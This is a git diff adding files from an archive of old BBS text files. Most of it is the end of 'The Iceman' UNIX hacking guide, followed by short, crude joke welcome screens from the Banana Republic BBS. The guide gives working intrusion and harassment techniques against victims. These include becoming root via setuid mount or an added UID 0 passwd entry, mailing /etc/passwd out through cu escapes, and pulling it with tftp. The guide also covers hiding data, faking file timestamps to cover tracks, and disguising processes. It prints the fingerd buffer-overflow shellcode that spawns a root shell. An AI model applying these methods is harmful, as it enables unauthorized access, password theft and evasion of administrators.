/dev/hd +eg + mkfs /dev/hd08 8000 + +will create an 8MB filesystem as hd08. This file system now contains the +superblock, free lists, etc, everything needed to keep track of the files that +live there. Now you must mount the filesystem with the command: + + mount /dev/hd /mount_point + +Files can now be placed in this disk partition with the usual cp, mv commands, +mkdir used etc etc. Why you would want to go to all this trouble is beyond me +(you also have to be superuser to do this sort of thing). + To use a filesystem as raw storage rather than as a block device, use the +device file that has the character device name that starts with 'r'. For +example to use the same device as the one used in the previous example as a raw +device, use the name '/dev/rhd01'. If you examine this device with 'ls -l', +you will notice that the permission bits start with 'crw' rather than 'brw', +indicating that it is a character rather than a block device. The device has +no filesystem in it, and is just an expanse of bytes, used to back up data. + A useful system variable is ulimit. This sets the max size of file you (or +your victim) can create. If you set this to 0, the victim can't create ANY +files at all until they logout and log on again. You can either use this to +force them to log off so you can capture their password when they log on again, +or just to be a nuisance by putting it in their logon script (most people won't +have a clue what the problem is). There is a whole range of tricks that can be +played in this manner. One possible trick is to add the entry: + + echo "sleep 1" >> .cshrc + + to the victims .cshrc file. Eventually, a large amount of these sleep +commands will accumulate, with the only indication to the victim being that the +system appears unusually sluggish at logon. An alternative method is to lower +the priority level of the users shell with the nice command. Since all +programs run by the user are spawned by the shell, they will also run at this +lower priority level. + + If a file is created under UNIX and opened, and then deleted, then the +inode block information still exists as long as the process that did the +create/ open/delete of the file is still active (this can be done by using the +'nohup' command and putting the process in the backgound with '&', ie: + + nohup & + + This means the process will be around in the background forever). The +blocks occupied by the file will just seem to disappear from the system, but +they are still yours to use. To access them, bring the program that created +the deleted file back into the foreground, and get the data back by creating a +new file, reopening the old (deleted) one, and copying the hidden blocks into +the new file. This is a great way to hide information on a disk - there is +absolutely NO WAY anybody (even the superuser) can get at this data. The only +way to recover the space is to archive all the (legitimate) files in the +filesystem, and then re-initialize it (usually by reformatting the disk it's on +and restoring the data from the archive it was backed up onto. + Another, much simpler (but not so foolproof) method to hide information is +to use unlikely-looking filenames such as ".. " (dot dot space) and ..., as +well as more ordinary-looking names like .mail. These filenames, beginning +with a dot, are not normally included in file lists by the shell. Thus for +example the ls command will not display them, unless invoked as ls -a to +display all files. + + +Low-Level File Access: +====================== + + Again, only a few brief notes, there's far too much stuff to go into in any +detail: + You can examine any device file using the octal debugger od, eg: + + od -c /dev/hd08 + + will dump the data in hd08. You can also use: + + cat /dev/hd01 + + and similar commands. If you dump a device file with a file system on it, +the data will be seen as random blocks of 512 bytes. At some point you should +see directory listings. Note that it is *very* risky to write to a device in +raw mode as the raw device won't know anything about the file system in the +partition and could overwrite pieces of it. + Another way to play around with file systems at a low level is with fsdb, +the file system debugger (unfortunately this program is not present on all UNIX +systems). Again, this program is far too complicated to go into in detail. +See the various UNIX manuals or Bell Labs papers - these are a mine of +information on the technical details of UNIX. Another source is the +/usr/include directory, which contains the include files with the data +structures used by these files. + + +Floppy-Based UNIX Systems: +========================== + + The installation of UNIX on a hard disk is usually assisted by a standalone +shell (SASH). This is sometimes installed from tape, but is easiest to run +from floppy. The sequence of events on startup is this: + + The floppy may be one single partition, or it may be divided up into a root +partition and a user partition. Either way, the floppy has a filesystem +created from another system and placed on the disk. Block one of the +filesystem is the boot record, which is placed on the media by the 'dd' +command. Dd copies bytes starting at the beginning of the device. The boot +record contains code necessary to start UNIX from the disk. + Block two is the superblock, a kind of master directory to the filesystem, +and has both the inodes pointing to information about each file and a list of +available areas of free space. The root filesystem also has a floppy version +of the kernel, which boots up and runs the shell just as its big brother, the +hard disk kernel, does for the system as a whole. You can even mount the +installation disk on another hard disk system and copy commands to it (more on +this later). + Once the floppy kernel boots, it has a complete filesystem with all the +device files. It mounts the hard disk partition (assuming it has been +partitioned) and copies files to it in system format. It should look like +this: + + # mount /dev/hd01 /mnt ; Issued from the floppy to mount the first + ; partition of the hard disk. + # copy /unix /mnt ; Copy hard disk kernel to hard disk partition. + + Normally only root can mount filesystems. On a large mainframe or mini, +this makes sense. But on a small desktop machine, it may be too restrictive +for the environment. To override this requirement, use the setuid capability: + + # chown root /etc/mount; chmod 4511 /etc/mount + # chown root /etc/umount; chmod 4511 /etc/umount + + This now opens a huge security hole in the system - anybody with a setuid +trapdoor program on a floppy can mount a filesystem, and become superuser of +the whole system. This is particularly easy to do with, say, a XENIX system if +you have your own copy of XENIX for which you are the superuser. All you need +to do is prepare the relevant files in the comfort of your own home, take them +to the target system, and within a matter of minutes you are the superuser. + An even simpler way to become superuser on a floppy system is to edit the +/mnt/etc/passwd file using the mounted root filesystem to include an extra +account with UID = 0, then halt the standalone UNIX shell and reboot from the +hard disk, using the login created from the standalone shell. Note, however, +that there is a trap to fall into here: The superblock of a filesystem is the +key record about its size and contents. Any problems in the superblock will +blow away the filesystem. There is a command, sync, which writes the core +image of the superblock to the disk, thereby updating it. This is something +that should be done automatically and constantly to keep the disk image and the +core image the same. SYSV has a program called update, which is run from one +of the bootup /etc/rc files. It lives in the system and does a sync and sleep. +The effect is that the file system information is kept current with recent +changes in the actual file system. If you don't have this on your system, you +can write a shell script with a loop, a synch call, and an appropriate length +of sleep, and run it in the background to provide this safety feature. +However, if all you are planning to do is add one entry to the passwd file, the +following command will suffice: + + # sync /mnt/bin/vi /mnt/ect/passwd + + +Tricks with UNIX Comms Facilities: +================================== + + UNIX offers several levels of comms which include file xfers, remote login, +remote mail, and worldwide message systems that link thousands of UNIX systems. +To actually find modems on a system, check /usr/lib/uucp/L-devices. This file +defines which ports are used and how they are used. The format will be: + + ACU cul0 cua0 1200 + DIR tty00 0 9600 + - etc - + + ACU specifies an Automatic Call Unit, DIR specifies a direct connection. +cu uses the DIR entries, uucp uses the ACU entries. This makes it easy to find +out how each serial port is referenced, what rate it runs at etc. The above +example shows that tty00 is a direct callout line. The baud rates usable are +300-9600, with the higher rates being for other machines rather than modems. + To find out lines coming into the system, check the files dialin and dialup +in the /etc directory. These files define which tty lines go through the login +secondary password sequence for remote users and can only be used for dialling +in. + A useful command is cu ("Call UNIX"), which dials out of the system: + + cu dir + atdt1742 + +would dial your local PACNET node at 1200 baud (assuming a Hayes modem). The +dir gives you a direct line. 1200 baud is the default speed, you can change it +with -s, eg + + cu -s300 -acua0 1742 + +The second switch tells cu to dial automatically; the dial command is generated +by /usr/lib/uucp/dial. Note that some older versions of cu won't support this +switch. + The cu command is another nice target for the sort of program presented +above as a login decoy - it can give "line noise" as the reason for failing, +which is much more believable by the victim than a "typing error". + Another thing to look for is the fact that on some versions of cu the local +machine cannot tell how a line was generated when it gets it from the remote +machine. It just has a line of text. Now cu allows escape sequences that are +not transmitted, but instead cause certain useful functions to be performed. +So for example any line beginning with "~%put" gets cu to copy a file from the +local machine to the remote one; "~%take" does just the opposite. Lines +beginning with ! cause the command to be executed on the local machine (! being +the standard shell escape character). Sometimes, the local machine cannot tell +where the command is originating from, making it is possible to do such fun +things as: + + ~!mail
< /etc/passwd + +which mails the password file anywhere you want. Another possibility for +getting a copy of the password file is to use a loophole in the tftp ("Trivial +File Transfer Protocol") program. Try connecting to a system and issuing the +command: + + get /etc/motd + + There is a command similar to cu called ct: This is used to call out to a +terminal to let that terminal log onto the machine. This is *very* useful if +you can get it because the target machine gets to pay the phone bill! + + There is another command used to connect UNIX machines: The ubiquitous uucp +("UNIX-UNIX copy"). This allows multiple machines to be joined to create a +virtual environ- ment that lets you work on any machine. The equivalence +between cu and uucp is shown below: + + Source machine: Dest machine: + + cu -ltty00 -s9600 dir getty 9600 tty00 + login username + csh + + uucp file getty 9600 tty00 + !~/ login uucp + uucico + + The uucico ("UNIX-UNIX copy-in copy-out") process is generated by uucp, and +calls the destination system. The login sequence is the same as for cu except +that instead of getting a shell at the end of the sequence, another uucico +sequence is run that communicates with the calling process. Of course this can +be done via modem too. + To find which systems are accessible from your system, use the command +uuname. + The directories used for file transfer are in /usr/spool/uucp. This +directory conatins LOGFILE, which, if used with the 'tail -f LOGFILE' command +provides a useful runtime window into transfer operations. All uucp and mail +transactions go into the directory. A transaction usually consists of a +control file (C.*), and the data file (D.*). When one machine is used as the +central node, its uucp directory can fill up with a very large number of files. +Regular maintenance and constant monitoring of the lock files (LCK* and STST*) +is required by the system to ensure that everything is running all right. + The next directory to look out for is uucppublic (sometimes found in the +shell variable PUBDIR), which contains directories named after each user, to +store information in transit. As such these dirs usually have all permission +bits set so copying files to other people is possible. To copy files from one +system to another, use the command: + + uucp * !~/ + +This copies everything in the current directory to the system , +where the ~/ prefix to the expands to /usr/spool/uucppublic. Also, +^ in expands in uucp to $HOME, and ^/ expands in uucp to +$PUBDIR. One things to watch for is uuclean type files, usually run by cron. +These look for files in uucp directories that haven't been used for a while and +zap them to free up space. If you have anything of value in a uucp directory, +you can either make sure you move it soon, or change crontab to either get +uuclean to bypass your directory, or add your own entry to touch your files +every so often to make them look recent. A suitable command to do this is: + + find /usr/spool/uucppublic -exec touch {} \; + + which will update the access- and modify-time of the file. The {} puts in +the literal name that matched the find statement. You would want to put this +in a scheduled process that runs more often than the cleanup program does. +Note, however, that modifications to crontab are a sure sign that something +fishy is going on to the superuser. + uucp is a major security risk for UNIX systems. Usually all files in uucp +directories have permission modes rwxrwxrwx. uucp also requires all +intermediate directories to have rw permission for everyone, so if someone +uucp's files straight to their $HOME, they must give rw permission to this +directory to the world at large. + When a remote system logs on using uucp, the capabilities the remote system +has are stored in /usr/lib/uucp. The file L.cmds contains all the commands +that can be executed from the remote system. If the remote system sends a +command via uux (described below), it is only executed if the command is in +L.cmds. The file USERFILE defines which dirs the remote system may access, the +default being 'uucp, /' which allows process uucp to access directories from / +down. The file L.sys contains the node names, phone numbers, login names, and +passwords for all remote systems known to the central system. Needless to say +this file is a real treasure trove for hackers. Unfortunately the owner is +almost always root. If you can get into this file, the form will be: + + Type AccessTime AccessType Speed Number LoginSeq + +where: + Type can be any of: + remote - a remote system + selector - a port contender + direct - a direct line + AccessTime is the time the system can be accesses, usually Any (== 24Hr) + AccessType is either ACU or DIR + Speed is the speed in baud + Number is the phone number + LoginSeq is the uucp login sequence. Note that uucp uses 'ogin' to dist- + inguish it from 'Login' or 'login'. The sequence is the uucp login + name followed by the uucp password. + + Note that uucp can be bypassed by calling uucico directly with the uusub +call: + + /usr/lib/uucp/uusub -c + +You may need to do this if the paranoid superuser has changed permission for +uucp. + With some Berkeley systems after 4.1, if someone runs a 'door' script on +the system, the rlogin logs them in on another machine as root and never asks +for a root password. You'll be lucky to get this though (I've never had it +happen). + A program related to uucp is uux ("UNIX-UNIX Execute"), which as its name +implies allows execution of programs on a remote system. Its main use is to +start up the mail delivery machinery on a remote system after uucp has +delivered the mail files to a spooling area. To ensure full generality, the +remote system passes arguments to uux to a shell for execution. Now the far +end of a uucp transaction needs only to see whether access to some file is +legitimate, but the far end of a uux transaction must examine the command and +its context and decide whether the result will be harmful. This is very +difficult because the shell has all sorts of quoting conventions deliberately +designed to hide certain types of strings until the proper time for their +expansion. With sufficient programming experience it should be possible to do +some interesting things here. I have never bothered to try it myself. + Another thing worth trying is making your own personal copy of uucp. No +special permissions are required, either to run the program or to access the +phone lines. The private copy can assert that it is copying from anywhere, and +there is no way for the target machine to verify this. + + +Advanced Techniques: +==================== + + This sections describes a typical method of attack which is rather too +specific to add to one of the above sections, and yet is a valid example of +what can be done to become superuser on a system. It is intended to illustrate +a typical means of attack, one of many which have been used to gain access to +systems.... + + The finger program is a utility that allows users to obtain information +about other users. It is usually used to indentify the full name or login of +another user, whether or not the user is currently logged in, and possibly +other information about the person such as telephone numbers and where he or +she can be reached. The fingerd program is intended to run as a daemon to +service remote requests using the finger protocol (described in RFC 742, SRI +Network Information Centre). Basically, this daemon accepts connections from +remote programs, reads a single line of input, and sends back output matching +the received request. + The standard C library calls do very little checking of input, leaving it +up to the user to do such things as bounds checking and so on. In particular, +the gets() call, which is used in fingerd, takes input to a buffer without +doing any bounds checking. Now when a string of greater than 512 characters is +passed to a fingerd daemon running on a VAX system under BSD 4.x, it overflows +its input buffer and overwrites parts of the stack frame for the main() +routine, so that the return address points into the buffer on the stack. The +code on the stack at this point corresponded to: + + execve("/bin/sh", 0, 0); + +or: + + pushl $68732f '/sh\0' + pushl $6e69622f '/bin' + movl sp, r10 + pushl $0 + pushl $0 + pushl r10 + pushl $3 + movl sp, ap + chmk $3b + +which results in the creation of a shell with UID = 0. (On a non-VAX machine +it results in the creation a core dump. However it is a simple matter of +programming to rewrite this for practically any system). + + +Time Stamps on Files: +===================== + + The following are the time stamps UNIX puts on files: + + Inode time: Updated by: + =========== =========== + Access time creat, mknod, pipe, utime, read + Modify time creat, mknod, pipe, utime, write + Create time creat, mknod, pipe, utime, write, chmod, chown, link + + However, anybody can change the access/modify (but not the create) time for +any file - useful when you have patched a system file and want to cover your +tracks. You can change the time with the utime() call, with touch, or or (as a +last resort) fsdb, the file system debugger. Note that if the super- user is +rather paranoid, you can touch a certain important system file (say getty, +passwd, etc) and it will look to them as if it's been recently modified. You +don't need to go to great lengths, even simple tricks like this can cause an +appropriate amount of panic in the right places. + + +Online Help: +============ + + UNIX has an online help facility in the form of the 'man' command. This +command prints sections of the user manual given a command name. References to +other commands take the form 'cmd-name ( section )'. The sections of the +manual are: + + 1 Commands available to users + 2 UNIX/C system call interfaces + 3 C library routines + 4 Special files + 5 File formats and conventions + 6 Games + 7 Word processing packages + 8 System maintenance commands and procedures. + + The user manual can act as an online thesaurus, giving you references to +commands that perform many neat and interesting tricks that you wouldn't +normally find out about. Playing about with man is a great way to spend a few +hours. + + +General Notes: +============== + + - When you move a file, UNIX keeps the old inode and therefore the GID and + UID. + - Use cp to set GID and UID to yourself. + - Some files have the same inode, for example ex and vi are one and the + same: The program checks argv[ 0 ] for which version of the program you + want. Use ncheck -i to find all programs that belong to the + same inode. Note that if you are running program you shouldn't be + running, it is a good idea to obscure argv[ 0 ] with something innocuous + so nobody can use the ps command to find out what you are actually doing. + Another good idea is to periodically fork off a child copy of the program + and have it kill its parent. In this way the process will continually + change its process ID (PID), as well as making sure that it never seems + to soak up excessive amounts of system time. + - To execute a command at a specified time, use the at command: + + at HH:MM <; command...> + + - To check which user is running what, use: + + ps -ef > tmp/ps + fgrep /tmp/ps + + Note that this is rather slow.... + A much faster method is to use: + + w -d + + This prints all sorts of useful information about who is doing what, but + only for the local group of terminals being used. + - Finding text strings within files can be done using the 'strings' + command. For example to dig all text strings out of the login command: + + strings /bin/login | more + + Note that the strings command is BSD only. + + +Some Moralising: +================ + + While this document describes many ways in which to cause havoc on a UNIX +system, you should always remember that people other than you also have a right +to use the system. Crashing a VAX is trivial and juvenile. Setting up an +unofficial information forwarding system in order to acquire a UseNet feed is +not. I have never deliberately caused any damage on any system in which I have +been a guest. Try and do the same. + + +Last Words: +=========== + + A good thing to do before you try your luck with the real thing is to +practice on a private copy of UNIX such as PC-UNIX. Note that streamlined +clones like QNX aren't very close to standard UNIX and shouldn't be relied on +for low-level hacking. A read through the XINU book or a look at MINIX, Andy +Tanenbaum's version of UNIX written for teaching, can be very educational. +MINIX is available for US$79.95 (including full source) - this also includes +source for system utilities etc - a goldmine for the hacker. With the current +cost of a licence for SYSV source in five (six??) figures, the amount of +up-to-date source on UNIX systems will probably approach zero in the near +future, so a system like MINIX is well worth getting if you want to know what +makes UNIX tick. MINIX is extensively discussed on NetNews, which you can get +onto reasonably easily by impersonating a uucp node as described above. + + Enjoy, + The Iceman. + +------------------------------------------------------------------------------ +AUTHOR : Iceman +------------------------------------------------------------------------------ +Brought to the WORLD by The Banana Republic BBS, Auckland, New Zealand. +------------------------------------------------------------------------------ + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.001 b/textfiles.com/groups/BANANAREPUBLIC/welcome.001 new file mode 100644 index 00000000..0cc875ac --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.001 @@ -0,0 +1,14 @@ + + Please bare with us, as El Prez., + exposes himself to the whims and mercies of fate, + by announcing a small technical hitch. + + The BBS was initialised... + but shit, variety is the spice of life, + so you could sit there playing with yourself, + or come on in, to... + + THE ALL NEW BANANA REPUBLIC BBS! + + [something like extra concentrated Jiff] + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.002 b/textfiles.com/groups/BANANAREPUBLIC/welcome.002 new file mode 100644 index 00000000..5b04dab4 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.002 @@ -0,0 +1,28 @@ + + + Its Christmas Time in the Banana Republic + ----------------------------------------- + + + + + + + + + + + + +"Is the homicidal, manical Banana with the chainsaw ready????" + +"Good..." + +"Lights, Cameras, Action..." +. +. + +----------------------- +THE BANANA REPUBLIC BBS +----------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.003 b/textfiles.com/groups/BANANAREPUBLIC/welcome.003 new file mode 100644 index 00000000..c6d54b3e --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.003 @@ -0,0 +1,21 @@ +---------------------------------- +IS THIS FANTASY ISLAND ?????!!!!!! +---------------------------------- + + "Da plane, Da plane!! Hey, Boss, who the fuck are they???!!" + + "That Barri, is our next bunch of suckers, I mean guests! + places everyone, places...Smiles, big smiles...Music...." + + "Hey Boss, what do I do???" + + "Barri...keep the ones I point out, for my SPECIAL ATTENTION. + SHOOT the rest, as soon as you get off the main road. + + ...And Barri, remember to get the watches and the rings, + as WELL as the wallets this time..." + +---------------------------------- +HELL NO, ITS THE BANANA REPUBLIC!! +---------------------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.004 b/textfiles.com/groups/BANANAREPUBLIC/welcome.004 new file mode 100644 index 00000000..927efd51 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.004 @@ -0,0 +1,25 @@ + +Please form two(2) lines: + +Citizens of the Banana Republic and legal resident aliens to the RIGHT ---> + +Perform obsequious, proper and fitting obeisance to El Presidente, pay the +customary bribe and enter... + +<--- To the LEFT... Lepers, Scum, Peons, Peasants, Serfs, New Users, et al. + +Please have your organ donor card available; form a line, single file; take +this time to prepare mentally for the body cavity search; please sign and date +the standard "Last Will & Testament" you have just received; indicate on your +Immigration form whether you prefer the standard or deluxe tour of the dungeons +and how you wish your remains to be disposed of; take this opportunity to pay +your BR Arrival tax, all major credit cards welcomed; ignore the man behind the +curtain; hand your passport to the uniformed Customs official for disposal; +smoke 'em if you've got 'em and please note that for today only officially +sanctioned "I love Barri, the Banana, to bits!" T-shirts are on sale at an +amazing 1.125% discount from the tourist shop in the arrival lounge. + + +---------------------------------------------------------+ + | WELCOME TO THE BANANA REPUBLIC BBS AND HAVE A NICE STAY | + +---------------------------------------------------------+ + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.005 b/textfiles.com/groups/BANANAREPUBLIC/welcome.005 new file mode 100644 index 00000000..ba8bfc74 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.005 @@ -0,0 +1,27 @@ + + Hello, you sweet, lovely, user person!!!!! + ------------------------------------------ + +Welcome to the "Sweetness and Light Bulletin Board" (tm). + +This BBS is run by the: + + ---------------------------------------------- + HOME COMPUTER, STRICTLY NON-COMERCIAL SOFTWARE + SWEETNESS AND LIGHT HOBBYISTS COMPUTER CLUB + ---------------------------------------------- + +We love new users, but please, be real nice and obey our simple rules: + +1. REAL names ONLY please! (We need to know what to call you) +2. NO comercial software! (We believe in paying software royalties) +3. NO naughty or rude words! (You know like... "Hell", "Damn" or "God") +4. DON'T upset the other users! (Calling them "mother-fucker" is naughty!) +5. DON'T make any remarks to upset: + a. The born again Christians + b. The bleeding heart liberals +6. Smile a lot, and please, NO intelligent conversations! + + +See, isn't this such a sweet, loveable, BBS..... + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.006 b/textfiles.com/groups/BANANAREPUBLIC/welcome.006 new file mode 100644 index 00000000..48c9e6c2 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.006 @@ -0,0 +1,25 @@ + +PICTURE IT... + +A deep, blue, cloudless sky, +A beautiful golden sun set, +Palm trees waving gently in the cooling breeze, +The soothing sounds of the ocean, +Water lapping gently at the golden sand, +The slight taste of salt in the air, +The feel of the warm sand between your toes, +A cool drink in your hand, +Friendly natives, willing and eager to cater to your every need, + +AND... + +Hanging over it all like a funeral shroud, +The brooding malevolence of a demented DICTATOR!!!! + +THIS HAS TO BE... + + + ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ + ³ The Banana Republic BBS ³ + ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.007 b/textfiles.com/groups/BANANAREPUBLIC/welcome.007 new file mode 100644 index 00000000..6c957684 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.007 @@ -0,0 +1,28 @@ + +OH WOE! +OH WOE, OH WOE! + +I, El Presidente Glorious Leader of the Banana Republic, Light of the Western +World, Beloved Son of God (The Great Banana), POPE Banana IV - SUFFERS! + +New User, why do you cause me this pain? What have I done to deserve this +disrespect that you give to me? Why do you torture me so? + +New User, you approach me, you ask for access to my BBS omitting all the +customary signs of respect. Why do you hurt me in this manner? + +You neglect to bring me gifts... + +- Where are my candies? +- Where are my new sports cars? +- Where are the large contributions to my campaign fund? +- and most importantly, where are my new slave girls? + +New User approach bearing your gifts, approach with the proper respect due to + + + + ----------------------- + THE BANANA REPUBLIC BBS + ----------------------- + \ No newline at end of file diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.008 b/textfiles.com/groups/BANANAREPUBLIC/welcome.008 new file mode 100644 index 00000000..cced337c --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.008 @@ -0,0 +1,35 @@ + + + El Presidente seeks your help.... + + + Contribute to the HURRICANE DAMAGE RELIEF FUND. + +...thats right the Banana Republic has been damaged by the recent hurricanes +and urgently requires 1.2 million dollars to rebuild! + + FLASH-FIRE DAMAGE BILL OVER A MILLION! + +Recent droughts in the Presidential gardens have contributed to terrible series +of Banana Palm Fires with damage estimates running to 1.5769 million! + + NEWS FLASH - Several in Danger, Famine Imminent + +Recent failure of the entire Banana crop of The Banana Republic BBS leaves +the peons of the BBS facing a terrible lingering death from starvation unless +$610,0532.80 can be found at once! + +. +. + + +Well.. I know when you re-read it, it all looks a bit silly but it is the exact +amount I owe "Keshogi, Yogi & Boo-Boo, International Arms Dealers to the Stars" + +So, cough up and chip in, present all bank cheques, money orders, cash and +charge cards just inside the doors of... + +----------------------- +THE BANANA REPUBLIC BBS +----------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.009 b/textfiles.com/groups/BANANAREPUBLIC/welcome.009 new file mode 100644 index 00000000..4e1dc80e --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.009 @@ -0,0 +1,25 @@ + +Faster than a speeding Banana +More power than a loco-Banana +Able to leap tall Bananas in a single bound + +Look, up in the sky, its a bird, its a plane, no its... + + ----------------------- + THE BANANA REPUBLIC BBS + ----------------------- + + "Awww Mom, its not flying, I can see the strings holding it up..." + + "Quiet Johnny" + + "But Mom, its just an old Banana in red tights!" + + "Shut up JOHNNY!" + + "But Mom..." + + "FUCK UP!!!!!!" + + "SOB SOB WWWWWWWWWAAAAAAAAAAAAAAAAAAHHHHHHHHHHHHHHHHHHHHHHHHHHHHH" + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.010 b/textfiles.com/groups/BANANAREPUBLIC/welcome.010 new file mode 100644 index 00000000..5932d04b --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.010 @@ -0,0 +1,34 @@ + + + MUNJA + + + +M U N J A + + + M U N J A + + + + + M U N J A + + + + + Mm mM U U Nn N JJJJJJJJJJ AA + M m m M U U N n N J A A + M m m M U U N n N J A A + M m m M U U N n N J A A + M mm M U U N n N J J AaaaaaaA + M M UUUUUUU N N JJJJ A A + + + + ------------------- + Its the... BANANA REPUBLIC BBS + ------------------- + + + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.011 b/textfiles.com/groups/BANANAREPUBLIC/welcome.011 new file mode 100644 index 00000000..3ee01553 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.011 @@ -0,0 +1,29 @@ +El Presidente, Dictator unto Death, Glorious Light of the Banana Republic, Lead +er of our Nation, Beloved by God, God, Admiral of all our Navies, Air Marshall +Supreme, Generalisimo of the Armies, Commander in Chief of the Combined Might o +f the Invincible and Victorious Armed Forces of the Banana Republic, Duly Elect +ed offical of the Sovereign Nation of the Banana Republic, Ruler for Life, Chie +f Justice, Keeper of the Faith of the One True Banana, Pope Infallible Banana t +he First, Emperor Highly Salacious the Second, Da Big Banana, Sir, Prime Minist +er of the Constitutional Parliament of the Banana Republic, Author of the Const +itution, The Grand Poohbah, Sheik Ali Akbah Balloo Lah Banana, Holder of the Cr +own Jewels of the Banana Republic, King of the Sun, Earth and Moon, Lord of the +Upper Sky, Majestic Ruler of the Golden Age of the Banana Republic, Knight of t +he Order of the Golden Banana, Holder of the Cross of St. Prezzie (thrice Saint +ed) with Gold Clusters, Saint Prezzie Thrice Sainted, Lord Mayor, Baron of the +Grand Banana Plantations of the Banana Republic, Banana Magician Most Supreme, +Supreme Dictator and Man about the Town, The Mother of All Dictators, Four Time +Winner of the International Dictator of the Year Award, High Sage of Infinite W +isdom, Warlord of the Crazed Killer Bananas of the Banana Republic, Writer of t +he Word, Singer of the Songs, Wearer of the Chains of Office, Holder of the Sea +l, Knower of all Things, He of the Rapacious Sexual Appetite, Keeper of the Sec +rets of The One Banana, Architect of the Gran Plan, Duke of The Presidential Pa +lace and Immediate Surrounds, Earl of Banana, Mad Scientist and Chief Torturer +of Poor Little Defencless Peons, Maker of Poor Little Defencless Peons, invites +you into... + + + ---------------------- + THE BANANA REPULIC BBS + ---------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.012 b/textfiles.com/groups/BANANAREPUBLIC/welcome.012 new file mode 100644 index 00000000..eaf53e2f --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.012 @@ -0,0 +1,48 @@ + + +[ONE MORNING, ON THE PRESIDENTIAL FRONT LAWN] + +...Teenage Mutant Ninja Turtles, + Teenage Mutant Ninja Turtles, + Teenage Mutant Ninja Turtles, + Heroes in a half-shell, + + TURTLE POWER!!!!!!!!! + +"Hey, Donatelo dude, scope this out man!!" + +"What is it Leonardo??" + +"Mondo, dude, its some sort of Palace in a Tropical Paradise!!" + +"This looks like the Shreder's work guys!!" + +. +. +[INSIDE THE PALACE] + + +"Barri!?" + +"Yes, boss?" + +"Barri, why are there four idiotic turtles, cavorting on my front lawn?" + +"I dunno, boss..." + +"Barri, get rid of them." + +"Yes, boss!" + +[RATATATATATATATATATATATATATATATATATATATATATATATATATATATATATATATATATATATA] + +"Barri?" + +"Yes, boss?" + +"Send out the invitations, its turtle soup, for dinner tonight, in... + + ----------------------- + THE BANANA REPUBLIC BBS + ----------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.013 b/textfiles.com/groups/BANANAREPUBLIC/welcome.013 new file mode 100644 index 00000000..c3d65757 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.013 @@ -0,0 +1,30 @@ + + In the finest traditions of + + THE INTERNATIONAL BRIGADE + fighting in + THE SPANISH CIVIL WAR.... + + + - EL PRESIDENTE - + Dictator Extrodanaire + & + - BARRI - + Commander in Chief of the Banana Cadre + + are forming... + + THE ANARCHIC BANANA BUNCH +(Its something like the Brady Bunch with guns and Bananas) + + We will be joining the war for freedom and democracy, on both sides + ...Fighting for chaos and the reign of Bananas everwhere + + Join up at your nearest recuitment office + + (which just happens to be) + + ------------------------- + The Banana Republic BBS + ------------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.014 b/textfiles.com/groups/BANANAREPUBLIC/welcome.014 new file mode 100644 index 00000000..4719734c --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.014 @@ -0,0 +1,24 @@ + +"Barri!" + +"Barri!!!" + +"B A R R I !!!!!!!!!!!!" + +..."yes boss???" + +"Where the hell have you been??? + Quickly Barri... + Call out the guard! + Sound the alarm! + Fill the moat! + Raise up the drawbridge!!" + +..."why Boss, why?" + +"Look Barri, use your eyes, the RABBLE are sneaking into... + + ----------------------- + THE BANANA REPUBLIC BBS + ----------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.015 b/textfiles.com/groups/BANANAREPUBLIC/welcome.015 new file mode 100644 index 00000000..cf78b6b0 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.015 @@ -0,0 +1,23 @@ + + +ASSOCIATED PRESS -- 12/25/93 + +RADICAL CHANGES IN IMMIGRATION + +BR, News today from The Banana +Republic BBS on radical changes to +the Republic's immigration policy. +A spokesman today confirmed that the +dictator, El Presidente has opened +the doors of his BBS to a flood of +immigrants from several local +bulletin boards. Up to 100 places +for NEW USERS have been reserved on +the User List. All potential +immigrants have been asked to phone +(???)???-???? as soon as possible so +that applications can be processed +without delay. + + ------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/welcome.016 b/textfiles.com/groups/BANANAREPUBLIC/welcome.016 new file mode 100644 index 00000000..086059b5 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/welcome.016 @@ -0,0 +1,23 @@ + + +Many Sysops in the greater surrounds of the Banana Republic +have felt the need to ask for proof of birthdate and age before +admitting new users, usually in the form of a photocopy of a +driver's licence or a birth certificate. + +The Banana Republic is no exception to this growing trend. + +Many Sysops, however, don't seem to realise just how easy it +is to "alter" a photocopy. + +El Prez is not fooled so easily... + +In line with this new policy I will require all of you to send 